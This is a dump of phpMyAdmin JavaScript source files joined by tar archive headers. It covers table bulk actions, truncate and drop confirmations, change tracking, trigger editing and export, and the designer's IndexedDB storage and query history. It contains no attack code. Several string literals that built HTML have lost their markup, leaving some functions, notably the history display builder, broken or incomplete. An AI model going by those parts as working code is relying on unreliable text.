$(this).val(); if (action === 'make_consistent_with_central_list') { event.preventDefault(); event.stopPropagation(); $('#makeConsistentWithCentralListModal').modal('show').on('shown.bs.modal', function () { $('#makeConsistentWithCentralListContinue').on('click', function () { const $form = $('#tablesForm'); const argSep = CommonParams.get('arg_separator'); const data = $form.serialize() + argSep + 'ajax_request=true' + argSep + 'ajax_page_request=true'; Functions.ajaxShowMessage(); AJAX.source = $form; $.post( 'index.php?route=/database/structure/central-columns/make-consistent', data, AJAX.responseHandler ); $('#makeConsistentWithCentralListModal').modal('hide'); }); }); return; } if (action === 'copy_tbl' || action === 'add_prefix_tbl' || action === 'replace_prefix_tbl' || action === 'copy_tbl_change_prefix' ) { event.preventDefault(); event.stopPropagation(); if ($('input[name="selected_tbl[]"]:checked').length === 0) { return false; } var formData = $('#tablesForm').serialize(); var modalTitle = ''; if (action === 'copy_tbl') { url = 'index.php?route=/database/structure/copy-form'; modalTitle = Messages.strCopyTablesTo; } else if (action === 'add_prefix_tbl') { url = 'index.php?route=/database/structure/add-prefix'; modalTitle = Messages.strAddPrefix; } else if (action === 'replace_prefix_tbl') { url = 'index.php?route=/database/structure/change-prefix-form'; modalTitle = Messages.strReplacePrefix; } else if (action === 'copy_tbl_change_prefix') { url = 'index.php?route=/database/structure/change-prefix-form'; modalTitle = Messages.strCopyPrefix; } $.ajax({ type: 'POST', url: url, dataType: 'html', data: formData }).done(function (modalBody) { const bulkActionModal = $('#bulkActionModal'); bulkActionModal.on('show.bs.modal', function () { this.querySelector('.modal-title').innerText = modalTitle; this.querySelector('.modal-body').innerHTML = modalBody; }); bulkActionModal.modal('show').on('shown.bs.modal', function () { $('#bulkActionContinue').on('click', function () { $('#ajax_form').trigger('submit'); $('#bulkActionModal').modal('hide'); }); }); }); return; } if (action === 'analyze_tbl') { url = 'index.php?route=/table/maintenance/analyze'; } else if (action === 'sync_unique_columns_central_list') { url = 'index.php?route=/database/structure/central-columns/add'; } else if (action === 'delete_unique_columns_central_list') { url = 'index.php?route=/database/structure/central-columns/remove'; } else if (action === 'check_tbl') { url = 'index.php?route=/table/maintenance/check'; } else if (action === 'checksum_tbl') { url = 'index.php?route=/table/maintenance/checksum'; } else if (action === 'drop_tbl') { url = 'index.php?route=/database/structure/drop-form'; } else if (action === 'empty_tbl') { url = 'index.php?route=/database/structure/empty-form'; } else if (action === 'export') { url = 'index.php?route=/export/tables'; } else if (action === 'optimize_tbl') { url = 'index.php?route=/table/maintenance/optimize'; } else if (action === 'repair_tbl') { url = 'index.php?route=/table/maintenance/repair'; } else if (action === 'show_create') { url = 'index.php?route=/database/structure/show-create'; } else { $('#tablesForm').trigger('submit'); return; } var $form = $(this).parents('form'); var argsep = CommonParams.get('arg_separator'); var data = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; Functions.ajaxShowMessage(); AJAX.source = $form; $.post(url, data, AJAX.responseHandler); }); /** * Ajax Event handler for 'Truncate Table' */ $(document).on('click', 'a.truncate_table_anchor.ajax', function (event) { event.preventDefault(); /** * @var $this_anchor Object referring to the anchor clicked */ var $thisAnchor = $(this); // extract current table name and build the question string /** * @var curr_table_name String containing the name of the table to be truncated */ var currTableName = $thisAnchor.parents('tr').children('th').children('a').text(); /** * @var question String containing the question to be asked for confirmation */ var question = Messages.strTruncateTableStrongWarning + ' ' + Functions.sprintf(Messages.strDoYouReally, 'TRUNCATE `' + Functions.escapeHtml(currTableName) + '`') + Functions.getForeignKeyCheckboxLoader(); $thisAnchor.confirm(question, $thisAnchor.attr('href'), function (url) { Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $thisAnchor.getPostData()); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); // Adjust table statistics var $tr = $thisAnchor.closest('tr'); $tr.find('.tbl_rows').text('0'); $tr.find('.tbl_size, .tbl_overhead').text('-'); DatabaseStructure.adjustTotals(); } else { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false); } }); // end $.post() }, Functions.loadForeignKeyCheckbox); }); // end of Truncate Table Ajax action /** * Ajax Event handler for 'Drop Table' or 'Drop View' */ $(document).on('click', 'a.drop_table_anchor.ajax', function (event) { event.preventDefault(); var $thisAnchor = $(this); // extract current table name and build the question string /** * @var $curr_row Object containing reference to the current row */ var $currRow = $thisAnchor.parents('tr'); /** * @var curr_table_name String containing the name of the table to be truncated */ var currTableName = $currRow.children('th').children('a').text(); /** * @var is_view Boolean telling if we have a view */ var isView = $currRow.hasClass('is_view') || $thisAnchor.hasClass('view'); /** * @var question String containing the question to be asked for confirmation */ var question; if (! isView) { question = Messages.strDropTableStrongWarning + ' ' + Functions.sprintf(Messages.strDoYouReally, 'DROP TABLE `' + Functions.escapeHtml(currTableName) + '`'); } else { question = Functions.sprintf(Messages.strDoYouReally, 'DROP VIEW `' + Functions.escapeHtml(currTableName) + '`'); } question += Functions.getForeignKeyCheckboxLoader(); $thisAnchor.confirm(question, $thisAnchor.attr('href'), function (url) { var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $thisAnchor.getPostData()); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); $currRow.hide('medium').remove(); DatabaseStructure.adjustTotals(); Navigation.reload(); Functions.ajaxRemoveMessage($msg); } else { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false); } }); // end $.post() }, Functions.loadForeignKeyCheckbox); }); // end of Drop Table Ajax action // Calculate Real End for InnoDB /** * Ajax Event handler for calculating the real end for a InnoDB table * */ $(document).on('click', '#real_end_input', function (event) { event.preventDefault(); /** * @var question String containing the question to be asked for confirmation */ var question = Messages.strOperationTakesLongTime; $(this).confirm(question, '', function () { return true; }); return false; }); // end Calculate Real End for InnoDB // Add tooltip to favorite icons. $('.favorite_table_anchor').each(function () { Functions.tooltip( $(this), 'a', $(this).attr('title') ); }); // Get real row count via Ajax. $('a.real_row_count').on('click', function (event) { event.preventDefault(); DatabaseStructure.fetchRealRowCount($(this)); }); // Get all real row count. $('a.row_count_sum').on('click', function (event) { event.preventDefault(); DatabaseStructure.fetchRealRowCount($(this)); }); }); database/tracking.js000066600000007146151724624350010475 0ustar00/** * Unbind all event handlers before tearing down the page */ AJAX.registerTeardown('database/tracking.js', function () { $('body').off('click', '#trackedForm.ajax button[name="submit_mult"], #trackedForm.ajax input[name="submit_mult"]'); $('body').off('click', '#untrackedForm.ajax button[name="submit_mult"], #untrackedForm.ajax input[name="submit_mult"]'); $('body').off('click', 'a.delete_tracking_anchor.ajax'); }); /** * Bind event handlers */ AJAX.registerOnload('database/tracking.js', function () { var $versions = $('#versions'); $versions.find('tr').first().find('th').append($('
          ')); $versions.tablesorter({ sortList: [[1, 0]], headers: { 0: { sorter: false }, 2: { sorter: 'integer' }, 5: { sorter: false }, 6: { sorter: false }, 7: { sorter: false } } }); var $noVersions = $('#noversions'); $noVersions.find('tr').first().find('th').append($('
          ')); $noVersions.tablesorter({ sortList: [[1, 0]], headers: { 0: { sorter: false }, 2: { sorter: false } } }); var $body = $('body'); /** * Handles multi submit for tracked tables */ $body.on('click', '#trackedForm.ajax button[name="submit_mult"], #trackedForm.ajax input[name="submit_mult"]', function (e) { e.preventDefault(); var $button = $(this); var $form = $button.parent('form'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true' + argsep + 'submit_mult=' + $button.val(); if ($button.val() === 'delete_tracking') { var question = Messages.strDeleteTrackingDataMultiple; $button.confirm(question, $form.attr('action'), function (url) { Functions.ajaxShowMessage(Messages.strDeletingTrackingData); AJAX.source = $form; $.post(url, submitData, AJAX.responseHandler); }); } else { Functions.ajaxShowMessage(); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); } }); /** * Handles multi submit for untracked tables */ $body.on('click', '#untrackedForm.ajax button[name="submit_mult"], #untrackedForm.ajax input[name="submit_mult"]', function (e) { e.preventDefault(); var $button = $(this); var $form = $button.parent('form'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true' + argsep + 'submit_mult=' + $button.val(); Functions.ajaxShowMessage(); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); }); /** * Ajax Event handler for 'Delete tracking' */ $body.on('click', 'a.delete_tracking_anchor.ajax', function (e) { e.preventDefault(); var $anchor = $(this); var question = Messages.strDeleteTrackingData; $anchor.confirm(question, $anchor.attr('href'), function (url) { Functions.ajaxShowMessage(Messages.strDeletingTrackingData); AJAX.source = $anchor; var argSep = CommonParams.get('arg_separator'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); params += argSep + 'ajax_page_request=1'; $.post(url, params, AJAX.responseHandler); }); }); }); database/triggers.js000066600000062577151724624350010532 0ustar00AJAX.registerTeardown('database/triggers.js', function () { $(document).off('click', 'a.ajax.add_anchor, a.ajax.edit_anchor'); $(document).off('click', 'a.ajax.export_anchor'); $(document).off('click', '#bulkActionExportButton'); $(document).off('click', 'a.ajax.drop_anchor'); $(document).off('click', '#bulkActionDropButton'); }); const DatabaseTriggers = { /** * @var $ajaxDialog Query object containing the reference to the * dialog that contains the editor */ $ajaxDialog: null, /** * @var syntaxHiglighter Reference to the codemirror editor */ syntaxHiglighter: null, /** * Validate editor form fields. * * @return {bool} */ validate: function () { /** * @var $elm a jQuery object containing the reference * to an element that is being validated */ var $elm = null; // Common validation. At the very least the name // and the definition must be provided for an item $elm = $('table.rte_table').last().find('input[name=item_name]'); if ($elm.val() === '') { $elm.trigger('focus'); alert(Messages.strFormEmpty); return false; } $elm = $('table.rte_table').find('textarea[name=item_definition]'); if ($elm.val() === '') { if (this.syntaxHiglighter !== null) { this.syntaxHiglighter.focus(); } else { $('textarea[name=item_definition]').last().trigger('focus'); } alert(Messages.strFormEmpty); return false; } // The validation has so far passed, so now // we can validate item-specific fields. return this.validateCustom(); }, // end validate() /** * Validate custom editor form fields. * This function can be overridden by * other files in this folder * * @return {bool} */ validateCustom: function () { return true; }, // end validateCustom() exportDialog: function ($this) { var $msg = Functions.ajaxShowMessage(); if ($this.attr('id') === 'bulkActionExportButton') { var combined = { success: true, title: Messages.strExport, message: '', error: '' }; // export anchors of all selected rows var exportAnchors = $('input.checkall:checked').parents('tr').find('.export_anchor'); var count = exportAnchors.length; var returnCount = 0; var p = $.when(); exportAnchors.each(function () { var h = $(this).attr('href'); p = p.then(function () { return $.get(h, { 'ajax_request': true }, function (data) { returnCount++; if (data.success === true) { combined.message += '\n' + data.message + '\n'; if (returnCount === count) { showExport(combined); } } else { // complain even if one export is failing combined.success = false; combined.error += '\n' + data.error + '\n'; if (returnCount === count) { showExport(combined); } } }); }); }); } else { $.get($this.attr('href'), { 'ajax_request': true }, showExport); } Functions.ajaxRemoveMessage($msg); function showExport (data) { if (data.success === true) { Functions.ajaxRemoveMessage($msg); /** * @var buttonOptions Object containing options * for jQueryUI dialog buttons */ var buttonOptions = { [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-primary', }, }; buttonOptions[Messages.strClose].click = function () { $(this).dialog('close').remove(); }; /** * Display the dialog to the user */ data.message = ''; var $ajaxDialog = $('
          ' + data.message + '
          ').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 500, buttons: buttonOptions, title: data.title }); // Attach syntax highlighted editor to export dialog /** * @var $elm jQuery object containing the reference * to the Export textarea. */ var $elm = $ajaxDialog.find('textarea'); Functions.getSqlEditor($elm); } else { Functions.ajaxShowMessage(data.error, false); } } // end showExport() }, // end exportDialog() editorDialog: function (isNew, $this) { var that = this; /** * @var $edit_row jQuery object containing the reference to * the row of the the item being edited * from the list of items */ var $editRow = null; if ($this.hasClass('edit_anchor')) { // Remember the row of the item being edited for later, // so that if the edit is successful, we can replace the // row with info about the modified item. $editRow = $this.parents('tr'); } /** * @var $msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(); $.get($this.attr('href'), { 'ajax_request': true }, function (data) { if (data.success === true) { var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary', }, [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-secondary', }, }; // We have successfully fetched the editor form Functions.ajaxRemoveMessage($msg); // Now define the function that is called when // the user presses the "Go" button buttonOptions[Messages.strGo].click = function () { // Move the data from the codemirror editor back to the // textarea, where it can be used in the form submission. if (typeof CodeMirror !== 'undefined') { that.syntaxHiglighter.save(); } // Validate editor and submit request, if passed. if (that.validate()) { /** * @var data Form data to be sent in the AJAX request */ var data = $('form.rte_form').last().serialize(); $msg = Functions.ajaxShowMessage( Messages.strProcessingRequest ); var url = $('form.rte_form').last().attr('action'); $.post(url, data, function (data) { if (data.success === true) { // Item created successfully Functions.ajaxRemoveMessage($msg); Functions.slidingMessage(data.message); that.$ajaxDialog.dialog('close'); // If we are in 'edit' mode, we must // remove the reference to the old row. if (mode === 'edit' && $editRow !== null) { $editRow.remove(); } // Sometimes, like when moving a trigger from // a table to another one, the new row should // not be inserted into the list. In this case // "data.insert" will be set to false. if (data.insert) { // Insert the new row at the correct // location in the list of items /** * @var text Contains the name of an item from * the list that is used in comparisons * to find the correct location where * to insert a new row. */ var text = ''; /** * @var inserted Whether a new item has been * inserted in the list or not */ var inserted = false; $('table.data').find('tr').each(function () { text = $(this) .children('td') .eq(0) .find('strong') .text() .toUpperCase() .trim(); if (text !== '' && text > data.name) { $(this).before(data.new_row); inserted = true; return false; } }); if (! inserted) { // If we didn't manage to insert the row yet, // it must belong at the end of the list, // so we insert it there. $('table.data').append(data.new_row); } // Fade-in the new row $('tr.ajaxInsert') .show('slow') .removeClass('ajaxInsert'); } else if ($('table.data').find('tr').has('td').length === 0) { // If we are not supposed to insert the new row, // we will now check if the table is empty and // needs to be hidden. This will be the case if // we were editing the only item in the list, // which we removed and will not be inserting // something else in its place. $('table.data').hide('slow', function () { $('#nothing2display').show('slow'); }); } // Now we have inserted the row at the correct // position, but surely at least some row classes // are wrong now. So we will iterate through // all rows and assign correct classes to them /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $('table.data').find('tr').has('td').each(function () { rowclass = (ct % 2 === 0) ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); // If this is the first item being added, remove // the "No items" message and show the list. if ($('table.data').find('tr').has('td').length > 0 && $('#nothing2display').is(':visible') ) { $('#nothing2display').hide('slow', function () { $('table.data').show('slow'); }); } Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } // end "if (that.validate())" }; // end of function that handles the submission of the Editor buttonOptions[Messages.strClose].click = function () { $(this).dialog('close'); }; /** * Display the dialog to the user */ that.$ajaxDialog = $('
          ' + data.message + '
          ').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 700, minWidth: 500, buttons: buttonOptions, // Issue #15810 - use button titles for modals (eg: new procedure) // Respect the order: title on href tag, href content, title sent in response title: $this.attr('title') || $this.text() || $(data.title).text(), modal: true, open: function () { $('#rteDialog').dialog('option', 'max-height', $(window).height()); if ($('#rteDialog').parents('.ui-dialog').height() > $(window).height()) { $('#rteDialog').dialog('option', 'height', $(window).height()); } $(this).find('input[name=item_name]').trigger('focus'); $(this).find('input.datefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'date'); }); $(this).find('input.datetimefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'datetime'); }); $.datepicker.initialized = false; }, close: function () { $(this).remove(); } }); /** * @var mode Used to remember whether the editor is in * "Edit" or "Add" mode */ var mode = 'add'; if ($('input[name=editor_process_edit]').length > 0) { mode = 'edit'; } // Attach syntax highlighted editor to the definition /** * @var elm jQuery object containing the reference to * the Definition textarea. */ var $elm = $('textarea[name=item_definition]').last(); var linterOptions = {}; linterOptions.triggerEditor = true; that.syntaxHiglighter = Functions.getSqlEditor($elm, {}, 'both', linterOptions); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.get() }, dropDialog: function ($this) { /** * @var $curr_row Object containing reference to the current row */ var $currRow = $this.parents('tr'); /** * @var question String containing the question to be asked for confirmation */ var question = $('
          ').text( $currRow.children('td').children('.drop_sql').html() ); // We ask for confirmation first here, before submitting the ajax request $this.confirm(question, $this.attr('href'), function (url) { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $this.getPostData()); $.post(url, params, function (data) { if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('slow', function () { $(this).remove(); // Now we have removed the row from the list, but maybe // some row classes are wrong now. So we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = (ct % 2 === 1) ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); }); } // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); // Show the query that we just executed Functions.slidingMessage(data.sql_query); Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); }, dropMultipleDialog: function ($this) { // We ask for confirmation here $this.confirm(Messages.strDropRTEitems, '', function () { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); // drop anchors of all selected rows var dropAnchors = $('input.checkall:checked').parents('tr').find('.drop_anchor'); var success = true; var count = dropAnchors.length; var returnCount = 0; dropAnchors.each(function () { var $anchor = $(this); /** * @var $curr_row Object containing reference to the current row */ var $currRow = $anchor.parents('tr'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); $.post($anchor.attr('href'), params, function (data) { returnCount++; if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('fast', function () { // we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = (ct % 2 === 1) ? 'odd' : 'even'; $(this).removeClass().addClass(rowclass); ct++; }); }); $currRow.remove(); } if (returnCount === count) { if (success) { // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); $('#rteListForm_checkall').prop({ checked: false, indeterminate: false }); } Navigation.reload(); } } else { Functions.ajaxShowMessage(data.error, false); success = false; if (returnCount === count) { Navigation.reload(); } } }); // end $.post() }); // end drop_anchors.each() }); } }; AJAX.registerOnload('database/triggers.js', function () { /** * Attach Ajax event handlers for the Add/Edit functionality. */ $(document).on('click', 'a.ajax.add_anchor, a.ajax.edit_anchor', function (event) { event.preventDefault(); if ($(this).hasClass('add_anchor')) { $.datepicker.initialized = false; } DatabaseTriggers.editorDialog($(this).hasClass('add_anchor'), $(this)); }); /** * Attach Ajax event handlers for Export */ $(document).on('click', 'a.ajax.export_anchor', function (event) { event.preventDefault(); DatabaseTriggers.exportDialog($(this)); }); $(document).on('click', '#bulkActionExportButton', function (event) { event.preventDefault(); DatabaseTriggers.exportDialog($(this)); }); /** * Attach Ajax event handlers for Drop functionality */ $(document).on('click', 'a.ajax.drop_anchor', function (event) { event.preventDefault(); DatabaseTriggers.dropDialog($(this)); }); $(document).on('click', '#bulkActionDropButton', function (event) { event.preventDefault(); DatabaseTriggers.dropMultipleDialog($(this)); }); }); designer/database.js000066600000014356151724624350010474 0ustar00var designerTables = [ { name: 'pdf_pages', key: 'pgNr', autoIncrement: true }, { name: 'table_coords', key: 'id', autoIncrement: true } ]; // eslint-disable-next-line no-unused-vars var DesignerOfflineDB = (function () { var designerDB = {}; /** * @type {IDBDatabase|null} */ var datastore = null; /** * @param {String} table * @return {IDBTransaction} */ designerDB.getTransaction = function (table) { return datastore.transaction([table], 'readwrite'); }; /** * @param {String} table * @return {IDBObjectStore} */ designerDB.getObjectStore = function (table) { var transaction = designerDB.getTransaction(table); var objStore = transaction.objectStore(table); return objStore; }; /** * @param {IDBTransaction} transaction * @param {String} table * @return {IDBObjectStore} */ designerDB.getCursorRequest = function (transaction, table) { var objStore = transaction.objectStore(table); var keyRange = IDBKeyRange.lowerBound(0); var cursorRequest = objStore.openCursor(keyRange); return cursorRequest; }; /** * @param {Function} callback * @return {void} */ designerDB.open = function (callback) { var version = 1; var request = window.indexedDB.open('pma_designer', version); request.onupgradeneeded = function (e) { var db = e.target.result; e.target.transaction.onerror = designerDB.onerror; var t; for (t in designerTables) { if (db.objectStoreNames.contains(designerTables[t].name)) { db.deleteObjectStore(designerTables[t].name); } } for (t in designerTables) { db.createObjectStore(designerTables[t].name, { keyPath: designerTables[t].key, autoIncrement: designerTables[t].autoIncrement }); } }; request.onsuccess = function (e) { datastore = e.target.result; if (typeof callback === 'function') { callback(true); } }; request.onerror = function () { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); }; }; /** * @param {String} table * @param {String} id * @param {Function} callback * @return {void} */ designerDB.loadObject = function (table, id, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var objStore = designerDB.getObjectStore(table); var cursorRequest = objStore.get(parseInt(id)); cursorRequest.onsuccess = function (e) { callback(e.target.result); }; cursorRequest.onerror = designerDB.onerror; }; /** * @param {String} table * @param {Function} callback * @return {void} */ designerDB.loadAllObjects = function (table, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var transaction = designerDB.getTransaction(table); var cursorRequest = designerDB.getCursorRequest(transaction, table); var results = []; transaction.oncomplete = function () { callback(results); }; cursorRequest.onsuccess = function (e) { var result = e.target.result; if (Boolean(result) === false) { return; } results.push(result.value); result.continue(); }; cursorRequest.onerror = designerDB.onerror; }; /** * @param {String} table * @param {Function} callback * @return {void} */ designerDB.loadFirstObject = function (table, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var transaction = designerDB.getTransaction(table); var cursorRequest = designerDB.getCursorRequest(transaction, table); var firstResult = null; transaction.oncomplete = function () { callback(firstResult); }; cursorRequest.onsuccess = function (e) { var result = e.target.result; if (Boolean(result) === false) { return; } firstResult = result.value; }; cursorRequest.onerror = designerDB.onerror; }; /** * @param {String} table * @param {Object} obj * @param {Function} callback * @return {void} */ designerDB.addObject = function (table, obj, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var objStore = designerDB.getObjectStore(table); var request = objStore.put(obj); request.onsuccess = function (e) { if (typeof callback === 'function') { callback(e.currentTarget.result); } }; request.onerror = designerDB.onerror; }; /** * @param {String} table * @param {String} id * @param {Function} callback * @return {void} */ designerDB.deleteObject = function (table, id, callback) { if (datastore === null) { Functions.ajaxShowMessage(Messages.strIndexedDBNotWorking, null, 'error'); return; } var objStore = designerDB.getObjectStore(table); var request = objStore.delete(parseInt(id)); request.onsuccess = function () { if (typeof callback === 'function') { callback(true); } }; request.onerror = designerDB.onerror; }; /** * @param {Error} e * @return {void} */ designerDB.onerror = function (e) { // eslint-disable-next-line no-console console.log(e); }; // Export the designerDB object. return designerDB; }()); designer/history.js000066600000070533151724624350010430 0ustar00/** * @fileoverview function used in this file builds history tab and generates query. * * @requires jQuery * @requires move.js */ /* global contr */ // js/designer/init.js /* global fromArray:writable */ // js/designer/move.js /* global themeImagePath */ // templates/javascript/variables.twig var DesignerHistory = {}; var historyArray = []; // Global array to store history objects var selectField = []; // Global array to store information for columns which are used in select clause var gIndex; var vqbEditor = null; /** * To display details of objects(where,rename,Having,aggregate,groupby,orderby,having) * * @param {number} index index of historyArray where change is to be made * @return {string} */ DesignerHistory.detail = function (index) { var type = historyArray[index].getType(); var str; if (type === 'Where') { str = 'Where ' + historyArray[index].getColumnName() + historyArray[index].getObj().getRelationOperator() + historyArray[index].getObj().getQuery(); } else if (type === 'Rename') { str = 'Rename ' + historyArray[index].getColumnName() + ' To ' + historyArray[index].getObj().getRenameTo(); } else if (type === 'Aggregate') { str = 'Select ' + historyArray[index].getObj().getOperator() + '( ' + historyArray[index].getColumnName() + ' )'; } else if (type === 'GroupBy') { str = 'GroupBy ' + historyArray[index].getColumnName(); } else if (type === 'OrderBy') { str = 'OrderBy ' + historyArray[index].getColumnName() + ' ' + historyArray[index].getObj().getOrder(); } else if (type === 'Having') { str = 'Having '; if (historyArray[index].getObj().getOperator() !== 'None') { str += historyArray[index].getObj().getOperator() + '( ' + historyArray[index].getColumnName() + ' )'; str += historyArray[index].getObj().getRelationOperator() + historyArray[index].getObj().getQuery(); } else { str = 'Having ' + historyArray[index].getColumnName() + historyArray[index].getObj().getRelationOperator() + historyArray[index].getObj().getQuery(); } } return str; }; /** * Sorts historyArray[] first,using table name as the key and then generates the HTML code for history tab, * clubbing all objects of same tables together * This function is called whenever changes are made in historyArray[] * * * @param {number} init starting index of unsorted array * @param {number} finit last index of unsorted array * @return {string} */ DesignerHistory.display = function (init, finit) { var str; var i; var j; var k; var sto; var temp; // this part sorts the history array based on table name,this is needed for clubbing all object of same name together. for (i = init; i < finit; i++) { sto = historyArray[i]; temp = historyArray[i].getTab();// + '.' + historyArray[i].getObjNo(); for Self JOINS for (j = 0; j < i; j++) { if (temp > (historyArray[j].getTab())) {// + '.' + historyArray[j].getObjNo())) { //for Self JOINS for (k = i; k > j; k--) { historyArray[k] = historyArray[k - 1]; } historyArray[j] = sto; break; } } } // this part generates HTML code for history tab.adds delete,edit,and/or and detail features with objects. str = ''; // string to store Html code for history tab var historyArrayLength = historyArray.length; for (i = 0; i < historyArrayLength; i++) { temp = historyArray[i].getTab(); // + '.' + historyArray[i].getObjNo(); for Self JOIN str += '

          ' + temp + '

          '; str += '
          \n'; while ((historyArray[i].getTab()) === temp) { // + '.' + historyArray[i].getObjNo()) === temp) { str += '
          '; str += ''; } else { str += ''; } str += '' + '' + '' + ''; } else { var detailDesc = $('
          ').text(DesignerHistory.detail(i)).html(); str += '
          ' + '' + '' + ''; } str += ''; i++; if (i >= historyArrayLength) { break; } str += '
          '; if (historyArray[i].getAndOr()) { str += '' + Functions.getImage('b_sbrowse', Messages.strColumnName) + '' + $('
          ').text(historyArray[i].getColumnName()).html() + '
          '; if (historyArray[i].getType() === 'GroupBy' || historyArray[i].getType() === 'OrderBy') { var detailDescGroupBy = $('
          ').text(DesignerHistory.detail(i)).html(); str += '
          ' + Functions.getImage('s_info', DesignerHistory.detail(i)) + '' + historyArray[i].getType() + '' + Functions.getImage('b_drop', Messages.strDelete) + '' + Functions.getImage('s_info', DesignerHistory.detail(i)) + '' + historyArray[i].getType() + '' + Functions.getImage('b_edit', Messages.strEdit) + '' + Functions.getImage('b_drop', Messages.strDelete) + '
          '; } i--; str += '
          '; } return str; }; /** * To change And/Or relation in history tab * * * @param {number} index index of historyArray where change is to be made * @return {void} */ DesignerHistory.andOr = function (index) { if (historyArray[index].getAndOr()) { historyArray[index].setAndOr(0); } else { historyArray[index].setAndOr(1); } var existingDiv = document.getElementById('ab'); existingDiv.innerHTML = DesignerHistory.display(0, 0); $('#ab').accordion('refresh'); }; /** * Deletes entry in historyArray * * @param {number} index of historyArray[] which is to be deleted * @return {void} */ DesignerHistory.historyDelete = function (index) { var fromArrayLength = fromArray.length; for (var k = 0; k < fromArrayLength; k++) { if (fromArray[k] === historyArray[index].getTab()) { fromArray.splice(k, 1); break; } } historyArray.splice(index, 1); var existingDiv = document.getElementById('ab'); existingDiv.innerHTML = DesignerHistory.display(0, 0); $('#ab').accordion('refresh'); }; /** * @param {string} elementId * @return {void} */ DesignerHistory.changeStyle = function (elementId) { var element = document.getElementById(elementId); element.style.left = '530px'; element.style.top = '130px'; element.style.position = 'absolute'; element.style.zIndex = '103'; element.style.visibility = 'visible'; element.style.display = 'block'; }; /** * To show where,rename,aggregate,having forms to edit a object * * @param {number} index index of historyArray where change is to be made * @return {void} */ DesignerHistory.historyEdit = function (index) { gIndex = index; var type = historyArray[index].getType(); if (type === 'Where') { document.getElementById('eQuery').value = historyArray[index].getObj().getQuery(); document.getElementById('erel_opt').value = historyArray[index].getObj().getRelationOperator(); DesignerHistory.changeStyle('query_where'); } else if (type === 'Having') { document.getElementById('hQuery').value = historyArray[index].getObj().getQuery(); document.getElementById('hrel_opt').value = historyArray[index].getObj().getRelationOperator(); document.getElementById('hoperator').value = historyArray[index].getObj().getOperator(); DesignerHistory.changeStyle('query_having'); } else if (type === 'Rename') { document.getElementById('e_rename').value = historyArray[index].getObj().getRenameTo(); DesignerHistory.changeStyle('query_rename_to'); } else if (type === 'Aggregate') { document.getElementById('e_operator').value = historyArray[index].getObj().getOperator(); DesignerHistory.changeStyle('query_Aggregate'); } }; /** * Make changes in historyArray when Edit button is clicked * checks for the type of object and then sets the new value * 